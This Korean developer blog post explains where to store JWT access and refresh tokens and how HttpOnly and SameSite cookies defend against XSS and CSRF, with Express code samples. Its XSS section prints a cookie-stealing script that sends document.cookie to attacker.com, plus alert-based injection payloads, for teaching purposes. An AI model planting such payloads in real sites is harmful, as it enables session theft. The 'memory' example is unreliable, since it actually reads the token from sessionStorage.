ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • TIL-2024.04.17 - Basic - JWT - 1.5 - Token, XSS & CSRF (Refresh Token & Access Token 저장 위치)
    > 기초/백그라운드 2024. 4. 17. 19:02

     

     

     

    질문:

    1. 브라우저에서 변수는 어디다가 저장할 수 있나요 ? 

    2. 이와같은 저장소 중에서, Refresh TokenAccess Token 은 어디다가  저장을 해야될까?

    3. 왜 이렇게 저장을 해야되나요? 

     

     

    1. 브라우저의 변수 저장소:

     

    1. Cookie
    2. LocalStorage & Session Storage
    3. Memory

     

     

     1) Cookie

    - 사이트가 사용자의 컴퓨터에 저장하는 작은 데이터 조각

    - 서버로 요청을 할때마다 해당 서버에 해당되는 쿠키를 보냄

    - JS로 접근 가능 (데이터를 저장하고 데이터를 검색할 수 있다는 것을 의미)

     

    2) Local & Session Storage

    - 브라우저의 클라이언트 측 저장 공간

    - JS로 접근 가능 (데이터를 저장하고 데이터를 검색할 수 있다는 것을 의미)

     

    3) 메모리 

    - 메모리에 값을 저장하려면 웹앱의 로컬변수를 사용해서 값을 저장

    - JS 코드로 접근 불가

    - 웹앱이 새롭게 실행되면 내부 변수가 초기화

     

     

     

    2. 추천하는 저장 위치 :

    - Access Token "메모리" 에 저장

    - Refresh TokenHttpOnly & Same Site (with Strict | Lax) 쿠키로 저장

     

     

    3. 메모리에 저장된 Access Token 예시 : 

     

    // sessionStorage에서 Access Token을 가져와 사용하는 예제
    const accessToken = sessionStorage.getItem('accessToken');
    
    // Access Token을 HTTP 요청의 헤더에 포함하여 서버에 전송하는 등 필요한 작업 수행
    if (accessToken) {
      // HTTP 요청 시 Access Token을 헤더에 추가하는 예제
      fetch('https://api.example.com/data', {
        headers: {
          Authorization: `Bearer ${accessToken}` // Access Token을 Bearer 토큰으로 전송
        }
      })
      .then(response => {
        // 응답 처리
        console.log(response);
      })
      .catch(error => {
        // 오류 처리
        console.error('Error fetching data:', error);
      });
    } else {
      console.error('Access Token not found in sessionStorage');
    }

     

     

    4. Refresh Token HttpOnly & Same Site (with Strict | Lax) 쿠키 설정 예제: 

     

    From Server

    const express = require('express');
    const cookieParser = require('cookie-parser');
    
    const app = express();
    
    // 쿠키 파서 미들웨어 등록
    app.use(cookieParser());
    
    // 리프레시 토큰 발급 후 쿠키에 저장
    app.post('/login', (req, res) => {
      const refreshToken = 'your_refresh_token_here'; // 리프레시 토큰 발급 (실제로는 보안적으로 안전한 방식으로 발급되어야 함)
    
      // HTTP Only 및 SameSite 속성을 설정한 쿠키 생성
      res.cookie('refreshToken', refreshToken, {
        httpOnly: true, // JavaScript에서 쿠키 접근 불가
        sameSite: 'strict', // 동일 출처 요청에서만 쿠키 전송
        // 다른 필요한 쿠키 옵션들 (예: secure: true 등)
      });
    
      res.send('Login successful');
    });
    
    // 기타 라우트 및 서버 설정
    app.listen(3000, () => {
      console.log('Server is running on port 3000');
    });

     

     

     

    From Client 

    fetch('http://example.com/protected/resource', {
      credentials: 'include', // 쿠키 포함하여 요청
    })
      .then(response => response.json())
      .then(data => console.log(data))
      .catch(error => console.error('Error fetching resource:', error));

     

     

     

    5. 하는 이유:

    1) XSS  (Cross Site Scripting) - 트로이 목마 :

    - 인증되지 않은 사용자가 App에 스크립트 코드를 삽입해 사용자들의 브라우저에서 실행되게 만드는 공격 기법

    - 주로 사용자의 정보를 탈취하거나 Session & Local Storage 을 탈취하여 악의적인 동작을 수행

     

    > XSS 종류 및 공격 예시 

    더보기

    1) XSS 종류

     

    1. Reflected XSS (Non-Persistent XSS):
      • 사용자의 입력이 즉시 서버에서 동적으로 생성된 페이지에 반영되고, 해당 페이지에서 스크립트가 실행될 때 발생합니다.
      • 주로 검색 쿼리나 URL 매개변수 등을 통해 공격자가 스크립트 코드를 전달하여 실행시키는 방식으로 이루어집니다.
    2. Stored XSS (Persistent XSS):
      • 악의적인 스크립트가 서버에 저장되어, 이를 요청할 때마다 사용자에게 전달되고 실행됩니다.
      • 주로 게시글, 댓글, 프로필 등의 저장소에 악성 스크립트가 저장되어 있는 경우가 많습니다.
    3. DOM-based XSS:
      • 클라이언트 측에서 동적으로 DOM을 조작할 때 발생하는 XSS입니다. 주로 JavaScript 내에서 사용자의 입력을 사용하여 DOM 조작 시 발생할 수 있습니다.

     

     

    2) XSS 공격 예시 

     

    // 1. 스크립트 삽입:
    
    <script>
    fetch("http://attacker.com/steal-cookie?cookie=" + document.cookie);
    </script>
    
    // 2. 이벤트 핸들러를 통한 공격:
    <img src="invalid-image" onerror="alert('XSS Attack!')" />
    
    // 3. URL 매개변수를 통한 공격:
    http://example.com/search?q=<script>alert('XSS')</script>

     

    - 이처럼 XSS 취약점이 있는 서버는 특정 페이지를 방문하는 사용자의 브라우저에서 JS 명령어 실행 

     

     

    > 해결방법: 쿠키의 Secure 속성과 HttpOnly 속성을 설정 (HTTP Only 쿠키는 JavaScript로부터 접근할 수 없도록 설계된 쿠키 속성)

     

     

    예시:

    const express = require('express');
    const cookieParser = require('cookie-parser');
    
    const app = express();
    app.use(cookieParser());
    
    app.get('/', (req, res) => {
      // 서버에서 HttpOnly 쿠키 설정
      res.cookie('myCookie', 'cookieValue', { httpOnly: true });
      res.send('HttpOnly cookie has been set!');
    });
    
    app.listen(3000, () => {
      console.log('Server is running on port 3000');
    });

     

     


     

     

    2. CSRF (Cross Site Request Forgery - 사이트 간 요청 위조) >  암구호 나야나 :

    - 인증된 사용자가 (악의적인 공격자가 의도한 요청을) 모르게 실행하도록 속이는 공격 기법

     

    > CSRF 공격원리 및 공격 예시

    더보기

    CSRF 공격의 원리

     

    1. 인증된 사용자 세션 이용: 공격자는 사용자가 인증된 세션을 가지고 있는 상태에서 공격을 시도.
    2. 의도하지 않은 요청 전송: 사용자의 브라우저를 이용하여 공격자가 의도한 요청을 악의적으로 전송하고 이 요청은 사용자가 인증된 상태이므로 서버는 사용자로부터 온 것으로 판단하여 실행.

     

    CSRF 공격의 예시 

    1. 이체 요청:
      - 사용자가 은행 웹 사이트에 로그인한 상태에서, 공격자가 작성한 이체 요청이 숨겨진 이미지 또는 링크로 포함된 이메일을 사용자에게 전송.
      - 사용자가 이메일을 열고 이미지나 링크를 클릭하면서 악의적인 요청이 서버로 전송.
    2. 비밀번호 변경:
      -사용자가 로그인 상태에서, 공격자가 작성한 비밀번호 변경 요청이 포함된 웹 페이지에 사용자를 유도해 자동으로 요청이 전송.

    - CSRF 공격은 사용자의 브라우저를 통해 오는 공격 (사용자의 브라우저에서 요청을 보내기때문에 쿠키와 함께 전달)

    - 서버 입장에서는 이게 사용자가 보낸 요청인지, 악의적인 공격자가 보낸 요청인지 모름

     

     

    > 해결 방법:  SameSite 쿠키 속성을 Strict 또는 Lax로 설정해 쿠키가 도메인 외부로 전송되는 것을 방지
    -SameSite 쿠키는 쿠키를 보낼 때 동일 출처 요청에서만 쿠키가 전송되도록 제한.
    - 즉, 쿠키가 속한 웹 사이트와 요청되는 웹 사이트의 출처가 동일해야 쿠키가 전송.
    - 이를 통해 외부 사이트에서 사용자의 브라우저를 통해 인증된 세션 쿠키를 전송할 수 없으므로 CSRF 공격을 어렵게 만듬.

     


    SameSite 값: 

    1. Strict: 쿠키가 동일 출처 (Same Origin - Same Protocol & Host & Port) 요청 에서만 전송
      - 다시 말해, 쿠키는 도메인이 동일한 페이지로만 전송하여, 외부 사이트에서의 쿠키 전송을 완전히 차단합니다.

    2. Lax: 일부 상황에서 외부 사이트로의 쿠키 전송을 허용, 사용자의 의도적인 클릭 동작으로 요청된 경우에만 쿠키를 전송.
      - 타사 사이트로의 일반적인 링크 클릭/GET 요청에서는 쿠키를 전송 가능 하지만,POST 요청에서는 쿠키를 전송안되도록 설정. 

    3. None: 쿠키가 모든 상황에서 외부 사이트로 전송되도록 허용.
      - 이 경우에는 Secure 속성이 함께 설정되어야 하며, HTTPS 연결에서만 동작.

     

    예시 :

    const express = require('express');
    const cookieParser = require('cookie-parser');
    
    const app = express();
    app.use(cookieParser());
    
    // 라우트 핸들러
    app.get('/', (req, res) => {
      // SameSite를 Strict로 설정한 쿠키 설정 예제
      res.cookie('myCookie', 'cookieValue', { 
        httpOnly: true,
        sameSite: 'strict'
      });
    
      res.send('Cookie with SameSite Strict attribute has been set!');
    });
    
    app.listen(3000, () => {
      console.log('Server is running on port 3000');
    });

     

     

     

     

     

    6. 답변:

    1. 브라우저에서 변수는 어디다가 저장할 수 있나요 ?

    - 쿠키, 로컬 & 세션 스토리지, 메모리 (로컬 변수)
     

    2. 이와같은 저장소 중에서, Refresh Token  Access Token 은 어디다가  저장을 해야될까?
    -  Acess Token은 Memory 에 Refresh Token은 Http Only & SameSite 속성 중 Strict | Lax 로 설정된 Cookie에 저장

    3. 왜 이렇게 저장을 해야되나요? 

    - XSS & CSRF 를 피하기 위해 

     

    댓글

Designed by Tistory.